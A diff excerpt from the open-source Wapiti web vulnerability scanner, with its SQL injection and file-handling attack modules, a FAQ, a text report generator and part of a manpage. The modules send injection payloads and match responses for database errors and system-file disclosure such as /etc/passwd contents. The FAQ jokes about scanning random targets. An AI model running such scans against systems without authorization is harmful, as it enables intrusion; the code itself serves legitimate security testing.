if self.color:
|
||||
sys.stdout.write(self.ORANGE)
|
||||
self.log(fmt_string, *args)
|
|
@ -0,0 +1,195 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
|
||||
# Copyright (C) 2008-2018 Nicolas Surribas
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation; either version 2 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
import re
|
||||
from itertools import chain
|
||||
|
||||
from requests.exceptions import ReadTimeout, RequestException
|
||||
|
||||
from wapitiCore.attack.attack import Attack
|
||||
from wapitiCore.language.vulnerability import Vulnerability, Anomaly, _
|
||||
|
||||
|
||||
class mod_sql(Attack):
|
||||
"""
|
||||
This class implements an error-based SQL Injection attack
|
||||
"""
|
||||
|
||||
TIME_TO_SLEEP = 6
|
||||
name = "sql"
|
||||
payloads = ("\xBF'\"(", set())
|
||||
filename_payload = "'\"(" # TODO: wait for https://github.com/shazow/urllib3/pull/856 then use that for files upld
|
||||
|
||||
@staticmethod
|
||||
def _find_pattern_in_response(data):
|
||||
if "You have an error in your SQL syntax" in data:
|
||||
return _("MySQL Injection")
|
||||
if "supplied argument is not a valid MySQL" in data:
|
||||
return _("MySQL Injection")
|
||||
if "Warning: mysql_fetch_array()" in data:
|
||||
return _("MySQL Injection")
|
||||
if "com.mysql.jdbc.exceptions" in data:
|
||||
return _("MySQL Injection")
|
||||
if "MySqlException (0x" in data:
|
||||
return _("MySQL Injection")
|
||||
if ("[Microsoft][ODBC Microsoft Access Driver]" in data or
|
||||
"Syntax error in string in query expression " in data):
|
||||
return _("MSAccess-Based SQL Injection")
|
||||
if "[Microsoft][ODBC SQL Server Driver]" in data:
|
||||
return _("MSSQL-Based Injection")
|
||||
if 'Microsoft OLE DB Provider for ODBC Drivers</font> <font size="2" face="Arial">error' in data:
|
||||
return _("MSSQL-Based Injection")
|
||||
if "Microsoft OLE DB Provider for ODBC Drivers" in data:
|
||||
return _("MSSQL-Based Injection")
|
||||
if "java.sql.SQLException: Syntax error or access violation" in data:
|
||||
return _("Java.SQL Injection")
|
||||
if "java.sql.SQLException: Unexpected end of command" in data:
|
||||
return _("Java.SQL Injection")
|
||||
if "PostgreSQL query failed: ERROR: parser:" in data:
|
||||
return _("PostgreSQL Injection")
|
||||
if "Warning: pg_query()" in data:
|
||||
return _("PostgreSQL Injection")
|
||||
if "XPathException" in data:
|
||||
return _("XPath Injection")
|
||||
if "Warning: SimpleXMLElement::xpath():" in data:
|
||||
return _("XPath Injection")
|
||||
if "supplied argument is not a valid ldap" in data or "javax.naming.NameNotFoundException" in data:
|
||||
return _("LDAP Injection")
|
||||
if "DB2 SQL error:" in data:
|
||||
return _("DB2 Injection")
|
||||
if "Dynamic SQL Error" in data:
|
||||
return _("Interbase Injection")
|
||||
if "Sybase message:" in data:
|
||||
return _("Sybase Injection")
|
||||
if "Unclosed quotation mark after the character string" in data:
|
||||
return _(".NET SQL Injection")
|
||||
if "error '80040e14'" in data and "Incorrect syntax near" in data:
|
||||
return _("MSSQL-Based Injection")
|
||||
|
||||
ora_test = re.search("ORA-[0-9]{4,}", data)
|
||||
if ora_test is not None:
|
||||
return _("Oracle Injection") + " " + ora_test.group(0)
|
||||
|
||||
return ""
|
||||
|
||||
def set_timeout(self, timeout):
|
||||
self.TIME_TO_SLEEP = str(1 + int(timeout))
|
||||
|
||||
def attack(self):
|
||||
mutator = self.get_mutator()
|
||||
|
||||
http_resources = self.persister.get_links(attack_module=self.name) if self.do_get else []
|
||||
forms = self.persister.get_forms(attack_module=self.name) if self.do_post else []
|
||||
|
||||
for original_request in chain(http_resources, forms):
|
||||
timeouted = False
|
||||
page = original_request.path
|
||||
saw_internal_error = False
|
||||
|
||||
if self.verbose >= 1:
|
||||
print("[+] {}".format(original_request))
|
||||
|
||||
for mutated_request, parameter, payload, flags in mutator.mutate(original_request):
|
||||
try:
|
||||
if self.verbose == 2:
|
||||
print("[¨] {0}".format(mutated_request))
|
||||
|
||||
try:
|
||||
response = self.crawler.send(mutated_request)
|
||||
except ReadTimeout:
|
||||
if timeouted:
|
||||
continue
|
||||
|
||||
self.log_orange("---")
|
||||
self.log_orange(Anomaly.MSG_TIMEOUT, page)
|
||||
self.log_orange(Anomaly.MSG_EVIL_REQUEST)
|
||||
self.log_orange(mutated_request.http_repr())
|
||||
self.log_orange("---")
|
||||
|
||||
if parameter == "QUERY_STRING":
|
||||
anom_msg = Anomaly.MSG_QS_TIMEOUT
|
||||
else:
|
||||
anom_msg = Anomaly.MSG_PARAM_TIMEOUT.format(parameter)
|
||||
|
||||
self.add_anom(
|
||||
request_id=original_request.path_id,
|
||||
category=Anomaly.RES_CONSUMPTION,
|
||||
level=Anomaly.MEDIUM_LEVEL,
|
||||
request=mutated_request,
|
||||
info=anom_msg,
|
||||
parameter=parameter
|
||||
)
|
||||
timeouted = True
|
||||
else:
|
||||
vuln_info = self._find_pattern_in_response(response.content)
|
||||
if vuln_info:
|
||||
# An error message implies that a vulnerability may exists
|
||||
|
||||
if parameter == "QUERY_STRING":
|
||||
vuln_message = Vulnerability.MSG_QS_INJECT.format(vuln_info, page)
|
||||
else:
|
||||
vuln_message = _("{0} via injection in the parameter {1}").format(vuln_info, parameter)
|
||||
|
||||
self.add_vuln(
|
||||
request_id=original_request.path_id,
|
||||
category=Vulnerability.SQL_INJECTION,
|
||||
level=Vulnerability.HIGH_LEVEL,
|
||||
request=mutated_request,
|
||||
info=vuln_message,
|
||||
parameter=parameter
|
||||
)
|
||||
|
||||
self.log_red("---")
|
||||
self.log_red(
|
||||
Vulnerability.MSG_QS_INJECT if parameter == "QUERY_STRING" else Vulnerability.MSG_PARAM_INJECT,
|
||||
vuln_info,
|
||||
page,
|
||||
parameter
|
||||
)
|
||||
self.log_red(Vulnerability.MSG_EVIL_REQUEST)
|
||||
self.log_red(mutated_request.http_repr())
|
||||
self.log_red("---")
|
||||
|
||||
# We reached maximum exploitation, stop here
|
||||
break
|
||||
|
||||
elif response.status == 500 and not saw_internal_error:
|
||||
saw_internal_error = True
|
||||
if parameter == "QUERY_STRING":
|
||||
anom_msg = Anomaly.MSG_QS_500
|
||||
else:
|
||||
anom_msg = Anomaly.MSG_PARAM_500.format(parameter)
|
||||
|
||||
self.add_anom(
|
||||
request_id=original_request.path_id,
|
||||
category=Anomaly.ERROR_500,
|
||||
level=Anomaly.HIGH_LEVEL,
|
||||
request=mutated_request,
|
||||
info=anom_msg,
|
||||
parameter=parameter
|
||||
)
|
||||
|
||||
self.log_orange("---")
|
||||
self.log_orange(Anomaly.MSG_500, page)
|
||||
self.log_orange(Anomaly.MSG_EVIL_REQUEST)
|
||||
self.log_orange(mutated_request.http_repr())
|
||||
self.log_orange("---")
|
||||
except (KeyboardInterrupt, RequestException) as exception:
|
||||
yield exception
|
||||
|
||||
yield original_request
|
|
@ -0,0 +1,125 @@
|
|||
## Frequently Asked Questions ##
|
||||
|
||||
### What is Wapiti ? ###
|
||||
|
||||
Wapiti is a web-application / website vulnerability scanner written in Python3.
|
||||
It allow to automate the processing of finding web-based vulnerabilities.
|
||||
This is not an exploitation framework like Metasploit, it only does detection.
|
||||
|
||||
### How do I install Wapiti on my computer ? ###
|
||||
|
||||
Details of installation can be found in the INSTALL.md file.
|
||||
|
||||
### What do I need to install Wapiti ? ###
|
||||
|
||||
Any operating system with a recent Python3 installation should be ok.
|
||||
|
||||
### Will you release a standalone Windows executable like the one made for Wapiti 2.3.0 ? ###
|
||||
|
||||
I'd like to but Microsoft make it so hard to actually doing it. py2exe and pyinstaller seems broken with latests Windows versions.
|
||||
|
||||
### Can I modify and share the software code ? ###
|
||||
|
||||
Sure as long as you respect the GPLv2 license.
|
||||
|
||||
### How do I execute Wapiti ? ###
|
||||
|
||||
Wapiti is a console tool so it must be launched from a terminal (cmd.exe on Windows, Konsole or GnomeTerminal on Linux, etc)
|
||||
If you installed Wapiti then the binary should be in your path. Otherwise you will have to launch it from the bin folder once the archive is uncompressed.
|
||||
On Linux and OSX, just typing `wapiti` should work.
|
||||
On Windows you will have to specify the interpreter (`python wapiti`).
|
||||
|
||||
### Where can I get some help about options ? ###
|
||||
|
||||
The manpage (Linux or HTML version) is the best way to have detailed informations about the options.
|
||||
If you are really lost, feel free to contact me.
|
||||
|
||||
### I found a bug. Where to report ? ###
|
||||
|
||||
Please create an issue on https://sourceforge.net/p/wapiti/bugs/
|
||||
|
||||
### Can I help the project ? ###
|
||||
|
||||
Sure ! If you have Python3 skills I can give you some tasks to work on.
|
||||
If you are not in development you can help translate Wapiti in your language (see https://www.transifex.com/none-538/wapiti/ )
|
||||
|
||||
### I love Wapiti, how to support the project ? ###
|
||||
|
||||
Wapiti is a project made on my spare time. If you love the project, a little donation would be welcome :
|
||||
http://sourceforge.net/donate/index.php?group_id=168625
|
||||
|
||||
### I'm trying to hack a website, can you help me ? ###
|
||||
|
||||
Nope.
|
||||
|
||||
### Is the proxy option sure ? Will it leak my IP ? ###
|
||||
|
||||
The proxy option should work and act as expected. But humans make mistakes. I may have made some mistakes. You might make some mistakes.
|
||||
If you plan to hack a 3 letter agency I hope you know exactly what you are doing.
|
||||
|
||||
### I was trying to hack a website but Wapiti crashed. Can you help me ? ###
|
||||
|
||||
Sure, create an issue on the bug tracker.
|
||||
|
||||
### I'm a forensic expert working on a case where Wapiti is used, can you help me ? ###
|
||||
|
||||
Yes I can help you understanding how Wapiti works and what are the files involved.
|
||||
|
||||
### I found some vulnerabilities in a web application using Wapiti, should I mention it ? ###
|
||||
|
||||
You don't have to, but it would be appreciated.
|
||||
|
||||
### Can I add some attack payloads easily ? ###
|
||||
|
||||
Yes, most of the payloads are stored in text files. You just have to add your owns.
|
||||
|
||||
### Launched a Wapiti scan, it takes sooooooo muuuuuuuuch time ####
|
||||
|
||||
Yes it can happens if there is lot of webpages and/or forms or urls with lot of inputs.
|
||||
There is a lot of available option to reduce the amount of scanned pages. See the manpages.
|
||||
|
||||
### I launched Wireshark/tshark/tcpdump/whatever and I don't see any network activity ###
|
||||
|
||||
There's some strange behavior that may occur on Windows. Just Ctrl+C and the scan will continue normally.
|
||||
Well... until the next time the problem occurs :(
|
||||
Best option for that problem should be to use Linux... sorry MS dudes.
|
||||
|
||||
### Why should I use Wapiti and not another vulnerability scanner ? ###
|
||||
|
||||
First Wapiti is a free and open-source software, that's a huge difference with some other solutions.
|
||||
Wapiti also have the advantage to be usable as an automated task, for exemple for continuous testing of a web-application.
|
||||
|
||||
### Why should I use Wapiti and not SQLmap ? ###
|
||||
|
||||
Wapiti and SQLmap are complementary tools doing different things.
|
||||
For pentests I usually do a scan with Wapiti then exploit SQLi vulnerabilities with SQLmap.
|
||||
|
||||
### Is Wapiti effective ? Do you find vulnerabilities with it ? ###
|
||||
|
||||
Yes, it can find a lot. But Wapiti doesn't act like a MITM proxy so it may not find scripts where Ajax (XHR) is involved.
|
||||
Don't hesitate to move to OWASP Zed Attack Proxy for in-depth pentesting.
|
||||
|
||||
### How do you test Wapiti ? ###
|
||||
|
||||
Internet is like a box of chocolates: You never know what you're gonna get.
|
||||
Broken webpages, malformed links, mixed standards for HTML/XML/XHTML, proprietary technologies, network or protocol issues...
|
||||
So the only way to make sure Wapiti is Internet proof is to launch it on random targets.
|
||||
Don't take it personnaly, you are helping to make the Internet a safer place.
|
||||
|
||||
### Do you have a personnal website? Twitter ? ###
|
||||
|
||||
Yes you can follow me at @devl00p.
|
||||
My website is http://devloop.users.sourceforge.net/
|
||||
I write some CTF walkthrough. Articles are in french though.
|
||||
|
||||
### Why did it took you so much time before releasing a new version ? ###
|
||||
|
||||
Dude, I have a baby girl, a girlfriend, a fat cat, a job in cybersecurity and a rusty Miata... do the math.
|
||||
|
||||
### Which one takes the most time ? ###
|
||||
|
||||
Man, my girlfriend will kill me if I give you the answer.
|
||||
|
||||
### And now what ? ###
|
||||
|
||||
Something completely different I guess.
|
|
@ -0,0 +1,191 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
|
||||
# Copyright (C) 2008-2018 Nicolas Surribas
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation; either version 2 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
from itertools import chain
|
||||
|
||||
from requests.exceptions import ReadTimeout, RequestException
|
||||
|
||||
from wapitiCore.attack.attack import Attack
|
||||
from wapitiCore.language.vulnerability import Vulnerability, Anomaly, _
|
||||
|
||||
|
||||
class mod_file(Attack):
|
||||
"""This class implements a file handling attack"""
|
||||
|
||||
PAYLOADS_FILE = "fileHandlingPayloads.txt"
|
||||
|
||||
name = "file"
|
||||
|
||||
# The following table contains tuples of (pattern, description, severity)
|
||||
# a severity of 1 is a file disclosure (inclusion, read etc) vulnerability
|
||||
# a severity of 0 is just the detection of an error returned by the server
|
||||
# Most important patterns must appear at the top of this table.
|
||||
warnings_desc = [
|
||||
# Vulnerabilities
|
||||
("<title>Google</title>", _("Remote inclusion vulnerability"), 1),
|
||||
("root:x:0:0", _("Linux local file disclosure vulnerability"), 1),
|
||||
("root:*:0:0", _("BSD local file disclosure vulnerability"), 1),
|
||||
("# Network services, Internet style", _("Unix local file disclosure vulnerability"), 1),
|
||||
("[boot loader]", _("Windows local file disclosure vulnerability"), 1),
|
||||
("for 16-bit app support", _("Windows local file disclosure vulnerability"), 1),
|
||||
("s:12:\"pear.php.net\";", _("File disclosure vulnerability in include_path"), 1),
|
||||
("PHP Extension and Application Reposit", _("File disclosure vulnerability in include_path"), 1),
|
||||
("PEAR, the PHP Extensio", _("highlight_file() vulnerability in basedir"), 1),
|
||||
("either use the CLI php executable", _("include() of file in include_path"), 1),
|
||||
# Warnings
|
||||
("java.io.FileNotFoundException:", "Java include/open", 0),
|
||||
("fread(): supplied argument is not", "fread()", 0),
|
||||
("fpassthru(): supplied argument is not", "fpassthru()", 0),
|
||||
("for inclusion (include_path=", "include()", 0),
|
||||
("Failed opening required", "require()", 0),
|
||||
("Warning: file(", "file()", 0),
|
||||
("<b>Warning</b>: file(", "file()", 0),
|
||||
("Warning: readfile(", "readfile()", 0),
|
||||
("<b>Warning:</b> readfile(", "readfile()", 0),
|
||||
("Warning: file_get_contents(", "file_get_contents()", 0),
|
||||
("<b>Warning</b>: file_get_contents(", "file_get_contents()", 0),
|
||||
("Warning: show_source(", "show_source()", 0),
|
||||
("<b>Warning:</b> show_source(", "show_source()", 0),
|
||||
("Warning: highlight_file(", "highlight_file()", 0),
|
||||
("<b>Warning:</b> highlight_file(", "highlight_file()", 0),
|
||||
("System.IO.FileNotFoundException:", ".NET File.Open*", 0),
|
||||
("error '800a0046'", "VBScript OpenTextFile", 0)
|
||||
]
|
||||
|
||||
def _find_pattern_in_response(self, data, warn):
|
||||
"""This method searches patterns in the response from the server"""
|
||||
err_msg = ""
|
||||
inc = 0
|
||||
for pattern, description, level in self.warnings_desc:
|
||||
if pattern in data:
|
||||
if level == 1:
|
||||
err_msg = description
|
||||
inc = 1
|
||||
break
|
||||
else:
|
||||
if warn == 0:
|
||||
err_msg = _("Possible {0} vulnerability").format(description)
|
||||
warn = 1
|
||||
break
|
||||
return err_msg, inc, warn
|
||||
|
||||
def attack(self):
|
||||
mutator = self.get_mutator()
|
||||
|
||||
http_resources = self.persister.get_links(attack_module=self.name) if self.do_get else []
|
||||
forms = self.persister.get_forms(attack_module=self.name) if self.do_post else []
|
||||
|
||||
for original_request in chain(http_resources, forms):
|
||||
warned = False
|
||||
timeouted = False
|
||||
page = original_request.path
|
||||
saw_internal_error = False
|
||||
|
||||
if self.verbose >= 1:
|
||||
print("[+] {}".format(original_request))
|
||||
|
||||
for mutated_request, parameter, payload, flags in mutator.mutate(original_request):
|
||||
try:
|
||||
if self.verbose == 2:
|
||||
print("[¨] {0}".format(mutated_request))
|
||||
|
||||
try:
|
||||
response = self.crawler.send(mutated_request)
|
||||
except ReadTimeout:
|
||||
if timeouted:
|
||||
continue
|
||||
|
||||
self.log_orange("---")
|
||||
self.log_orange(Anomaly.MSG_TIMEOUT, page)
|
||||
self.log_orange(Anomaly.MSG_EVIL_REQUEST)
|
||||
self.log_orange(mutated_request.http_repr())
|
||||
self.log_orange("---")
|
||||
|
||||
if parameter == "QUERY_STRING":
|
||||
anom_msg = Anomaly.MSG_QS_TIMEOUT
|
||||
else:
|
||||
anom_msg = Anomaly.MSG_PARAM_TIMEOUT.format(parameter)
|
||||
|
||||
self.add_anom(
|
||||
request_id=original_request.path_id,
|
||||
category=Anomaly.RES_CONSUMPTION,
|
||||
level=Anomaly.MEDIUM_LEVEL,
|
||||
request=mutated_request,
|
||||
info=anom_msg,
|
||||
parameter=parameter
|
||||
)
|
||||
timeouted = True
|
||||
else:
|
||||
vuln_info, inc, warn = self._find_pattern_in_response(response.content, warned)
|
||||
|
||||
if vuln_info:
|
||||
# An error message implies that a vulnerability may exists
|
||||
if parameter == "QUERY_STRING":
|
||||
vuln_message = Vulnerability.MSG_QS_INJECT.format(vuln_info, page)
|
||||
else:
|
||||
vuln_message = _("{0} via injection in the parameter {1}").format(vuln_info, parameter)
|
||||
|
||||
self.add_vuln(
|
||||
request_id=original_request.path_id,
|
||||
category=Vulnerability.FILE_HANDLING,
|
||||
level=Vulnerability.HIGH_LEVEL,
|
||||
request=mutated_request,
|
||||
info=vuln_message,
|
||||
parameter=parameter
|
||||
)
|
||||
|
||||
self.log_red("---")
|
||||
self.log_red(
|
||||
Vulnerability.MSG_QS_INJECT if parameter == "QUERY_STRING" else Vulnerability.MSG_PARAM_INJECT,
|
||||
vuln_info,
|
||||
page,
|
||||
parameter
|
||||
)
|
||||
self.log_red(Vulnerability.MSG_EVIL_REQUEST)
|
||||
self.log_red(mutated_request.http_repr())
|
||||
self.log_red("---")
|
||||
|
||||
if inc:
|
||||
# We reached maximum exploitation, stop here
|
||||
break
|
||||
|
||||
elif response.status == 500 and not saw_internal_error:
|
||||
saw_internal_error = True
|
||||
if parameter == "QUERY_STRING":
|
||||
anom_msg = Anomaly.MSG_QS_500
|
||||
else:
|
||||
anom_msg = Anomaly.MSG_PARAM_500.format(parameter)
|
||||
|
||||
self.add_anom(
|
||||
request_id=original_request.path_id,
|
||||
category=Anomaly.ERROR_500,
|
||||
level=Anomaly.HIGH_LEVEL,
|
||||
request=mutated_request,
|
||||
info=anom_msg,
|
||||
parameter=parameter
|
||||
)
|
||||
|
||||
self.log_orange("---")
|
||||
self.log_orange(Anomaly.MSG_500, page)
|
||||
self.log_orange(Anomaly.MSG_EVIL_REQUEST)
|
||||
self.log_orange(mutated_request.http_repr())
|
||||
self.log_orange("---")
|
||||
except (KeyboardInterrupt, RequestException) as exception:
|
||||
yield exception
|
||||
|
||||
yield original_request
|
|
@ -0,0 +1,179 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
|
||||
# Copyright (C) 2008-2018 Nicolas Surribas
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation; either version 2 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
import codecs
|
||||
|
||||
from wapitiCore.language.language import _
|
||||
from wapitiCore.report.reportgenerator import ReportGenerator
|
||||
|
||||
NB_COLUMNS = 80
|
||||
|
||||
|
||||
# TODO: should use more the python format mini-language
|
||||
# http://docs.python.org/2/library/string.html#format-specification-mini-language
|
||||
|
||||
|
||||
def center(s):
|
||||
if len(s) >= NB_COLUMNS:
|
||||
return s
|
||||
return s.rjust(len(s) + int((NB_COLUMNS - len(s)) / 2.0))
|
||||
|
||||
|
||||
def title(s):
|
||||
return "{0}\n{1}\n".format(s, "-" * len(s.strip()))
|
||||
|
||||
|
||||
separator = ("*" * NB_COLUMNS) + "\n"
|
||||
|
||||
|
||||
class TXTReportGenerator(ReportGenerator):
|
||||
"""
|
||||
This class generates a Wapiti report in TXT format.
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self._flaw_types = {}
|
||||
self._vulns = {}
|
||||
self._anomalies = {}
|
||||
|
||||
def generate_report(self, output_path):
|
||||
"""
|
||||
Create a TXT file encoded as UTF-8 with a report of the vulnerabilities which have been logged with
|
||||
the methods add_vulnerability and add_anomaly.
|
||||
"""
|
||||
fd = codecs.open(output_path, mode="w", encoding="UTF-8")
|
||||
try:
|
||||
fd.write(separator)
|
||||
fd.write(center("{0} - wapiti.sourceforge.net\n".format(self._infos["version"])))
|
||||
fd.write(center(_("Report for {0}\n").format(self._infos["target"])))
|
||||
fd.write(center(_("Date of the scan : {0}\n").format(self._infos["date"])))
|
||||
if "scope" in self._infos:
|
||||
fd.write(center(_("Scope of the scan : {0}\n").format(self._infos["scope"])))
|
||||
fd.write(separator)
|
||||
fd.write("\n")
|
||||
|
||||
fd.write(title(_("Summary of vulnerabilities :")))
|
||||
for name in self._vulns:
|
||||
fd.write(_("{0} : {1:>3}\n").format(name, len(self._vulns[name])).rjust(NB_COLUMNS))
|
||||
fd.write(separator)
|
||||
|
||||
for name in self._vulns:
|
||||
if self._vulns[name]:
|
||||
fd.write("\n")
|
||||
fd.write(title(name))
|
||||
for vuln in self._vulns[name]:
|
||||
fd.write(vuln["info"])
|
||||
fd.write("\n")
|
||||
# f.write("Involved parameter : {0}\n".format(vuln["parameter"]))
|
||||
fd.write(_("Evil request:\n"))
|
||||
fd.write(vuln["request"].http_repr())
|
||||
fd.write("\n")
|
||||
fd.write(_("cURL command PoC : \"{0}\"").format(vuln["request"].curl_repr))
|
||||
fd.write("\n\n")
|
||||
fd.write(center("* * *\n\n"))
|
||||
fd.write(separator)
|
||||
|
||||
fd.write("\n")
|
||||
|
||||
fd.write(title(_("Summary of anomalies :")))
|
||||
for name in self._anomalies:
|
||||
fd.write(_("{0} : {1:>3}\n").format(name, len(self._anomalies[name])).rjust(NB_COLUMNS))
|
||||
fd.write(separator)
|
||||
|
||||
for name in self._anomalies:
|
||||
if self._anomalies[name]:
|
||||
fd.write("\n")
|
||||
fd.write(title(name))
|
||||
for anom in self._anomalies[name]:
|
||||
fd.write(anom["info"])
|
||||
fd.write("\n")
|
||||
fd.write(_("Evil request:\n"))
|
||||
fd.write(anom["request"].http_repr())
|
||||
fd.write("\n\n")
|
||||
fd.write(center("* * *\n\n"))
|
||||
fd.write(separator)
|
||||
|
||||
finally:
|
||||
fd.close()
|
||||
|
||||
# Vulnerabilities
|
||||
def add_vulnerability_type(self, name, description="", solution="", references=None):
|
||||
"""
|
||||
This method adds a vulnerability type, it can be invoked to include in the
|
||||
report the type.
|
||||
The types are not stored previously, they are added when the method
|
||||
add_vulnerability(category,level,url,parameter,info) is invoked
|
||||
and if there is no vulnerability of a type, this type will not be presented
|
||||
in the report
|
||||
"""
|
||||
|
||||
if name not in self._flaw_types:
|
||||
self._flaw_types[name] = {
|
||||
"desc": description,
|
||||
"sol": solution,
|
||||
"ref": references
|
||||
}
|
||||
if name not in self._vulns:
|
||||
self._vulns[name] = []
|
||||
|
||||
def add_vulnerability(self, category=None, level=0, request=None, parameter="", info=""):
|
||||
"""
|
||||
Store the information about the vulnerability to be printed later.
|
||||
The method printToFile(fileName) can be used to save in a file the
|
||||
vulnerabilities notified through the current method.
|
||||
"""
|
||||
|
||||
if category not in self._vulns:
|
||||
self._vulns[category] = []
|
||||
self._vulns[category].append(
|
||||
{
|
||||
"level": level,
|
||||
"request": request,
|
||||
"parameter": parameter,
|
||||
"info": info
|
||||
}
|
||||
)
|
||||
|
||||
# Anomalies
|
||||
def add_anomaly_type(self, name, description="", solution="", references=None):
|
||||
if name not in self._flaw_types:
|
||||
self._flaw_types[name] = {
|
||||
"desc": description,
|
||||
"sol": solution,
|
||||
"ref": references
|
||||
}
|
||||
if name not in self._anomalies:
|
||||
self._anomalies[name] = []
|
||||
|
||||
def add_anomaly(self, category=None, level=0, request=None, parameter="", info=""):
|
||||
"""
|
||||
Store the information about the vulnerability to be printed later.
|
||||
The method printToFile(fileName) can be used to save in a file the
|
||||
vulnerabilities notified through the current method.
|
||||
"""
|
||||
|
||||
anom_dict = {
|
||||
"request": request,
|
||||
"info": info,
|
||||
"level": level,
|
||||
"parameter": parameter,
|
||||
}
|
||||
if category not in self._anomalies:
|
||||
self._anomalies[category] = []
|
||||
self._anomalies[category].append(anom_dict)
|
|
@ -0,0 +1,420 @@
|
|||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv='content-type' value='text/html;charset=utf8'>
|
||||
<meta name='generator' value='Ronn/v0.7.3 (http://github.com/rtomayko/ronn/tree/0.7.3)'>
|
||||
<title>wapiti(1) - A web application vulnerability scanner in Python</title>
|
||||
<style type='text/css' media='all'>
|
||||
/* style: man */
|
||||
body#manpage {margin:0}
|
||||
.mp {max-width:100ex;padding:0 9ex 1ex 4ex}
|
||||
.mp p,.mp pre,.mp ul,.mp ol,.mp dl {margin:0 0 20px 0}
|
||||
.mp h2 {margin:10px 0 0 0}
|
||||
.mp > p,.mp > pre,.mp > ul,.mp > ol,.mp > dl {margin-left:8ex}
|
||||
.mp h3 {margin:0 0 0 4ex}
|
||||
.mp dt {margin:0;clear:left}
|
||||
.mp dt.flush {float:left;width:8ex}
|
||||
.mp dd {margin:0 0 0 9ex}
|
||||
.mp h1,.mp h2,.mp h3,.mp h4 {clear:left}
|
||||
.mp pre {margin-bottom:20px}
|
||||
.mp pre+h2,.mp pre+h3 {margin-top:22px}
|
||||
.mp h2+pre,.mp h3+pre {margin-top:5px}
|
||||
.mp img {display:block;margin:auto}
|
||||
.mp h1.man-title {display:none}
|
||||
.mp,.mp code,.mp pre,.mp tt,.mp kbd,.mp samp,.mp h3,.mp h4 {font-family:monospace;font-size:14px;line-height:1.42857142857143}
|
||||
.mp h2 {font-size:16px;line-height:1.25}
|
||||
.mp h1 {font-size:20px;line-height:2}
|
||||
.mp {text-align:justify;background:#fff}
|
||||
.mp,.mp code,.mp pre,.mp pre code,.mp tt,.mp kbd,.mp samp {color:#131211}
|
||||
.mp h1,.mp h2,.mp h3,.mp h4 {color:#030201}
|
||||
.mp u {text-decoration:underline}
|
||||
.mp code,.mp strong,.mp b {font-weight:bold;color:#131211}
|
||||
.mp em,.mp var {font-style:italic;color:#232221;text-decoration:none}
|
||||
.mp a,.mp a:link,.mp a:hover,.mp a code,.mp a pre,.mp a tt,.mp a kbd,.mp a samp {color:#0000ff}
|
||||
.mp b.man-ref {font-weight:normal;color:#434241}
|
||||
.mp pre {padding:0 4ex}
|
||||
.mp pre code {font-weight:normal;color:#434241}
|
||||
.mp h2+pre,h3+pre {padding-left:0}
|
||||
ol.man-decor,ol.man-decor li {margin:3px 0 10px 0;padding:0;float:left;width:33%;list-style-type:none;text-transform:uppercase;color:#999;letter-spacing:1px}
|
||||
ol.man-decor {width:100%}
|
||||
ol.man-decor li.tl {text-align:left}
|
||||
ol.man-decor li.tc {text-align:center;letter-spacing:4px}
|
||||
ol.man-decor li.tr {text-align:right;float:right}
|
||||
</style>
|
||||
<style type='text/css' media='all'>
|
||||
/* style: toc */
|
||||
.man-navigation {display:block !important;position:fixed;top:0;left:113ex;height:100%;width:100%;padding:48px 0 0 0;border-left:1px solid #dbdbdb;background:#eee}
|
||||
.man-navigation a,.man-navigation a:hover,.man-navigation a:link,.man-navigation a:visited {display:block;margin:0;padding:5px 2px 5px 30px;color:#999;text-decoration:none}
|
||||
.man-navigation a:hover {color:#111;text-decoration:underline}
|
||||
</style>
|
||||
</head>
|
||||
<!--
|
||||
The following styles are deprecated and will be removed at some point:
|
||||
div#man, div#man ol.man, div#man ol.head, div#man ol.man.
|
||||
|
||||
The .man-page, .man-decor, .man-head, .man-foot, .man-title, and
|
||||
.man-navigation should be used instead.
|
||||
-->
|
||||
<body id='manpage'>
|
||||
<div class='mp' id='man'>
|
||||
|
||||
<div class='man-navigation' style='display:none'>
|
||||
<a href="#NAME">NAME</a>
|
||||
<a href="#SYNOPSIS">SYNOPSIS</a>
|
||||
<a href="#DESCRIPTION">DESCRIPTION</a>
|
||||
<a href="#OPTIONS-SUMMARY">OPTIONS SUMMARY</a>
